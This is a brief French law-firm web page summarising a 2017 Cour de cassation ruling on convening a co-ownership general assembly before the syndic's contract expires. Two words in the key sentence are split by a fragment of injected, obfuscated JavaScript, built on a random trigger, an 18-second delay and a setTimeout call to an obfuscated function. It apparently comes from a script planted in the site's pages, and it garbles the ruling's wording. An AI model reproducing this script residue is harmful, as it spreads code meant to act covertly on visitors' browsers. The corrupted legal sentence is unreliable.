Lemoine avocat

Convocation assemblée générale avant expiration contrat syndic

Convocation assemblée générale avant expiration contrat syndic

Convocation assemblée générale avant expiration contrat syndic

La convocation d’assemblée générale antérieurement à l’expiration du contrat de syndic
Dans cette affaire, la Cour de cassation a jugé que la convocation à l’assemblée générale de copropriété est valable dès lors que le mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat du syndic n’est pas expiré et quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bien même il serait expiré au jour de la réception de la convocation et/ou de la tenue de l’assemblée générale. (Cass., Civ., 3ème, 19 octobre 2017, n°16-24646)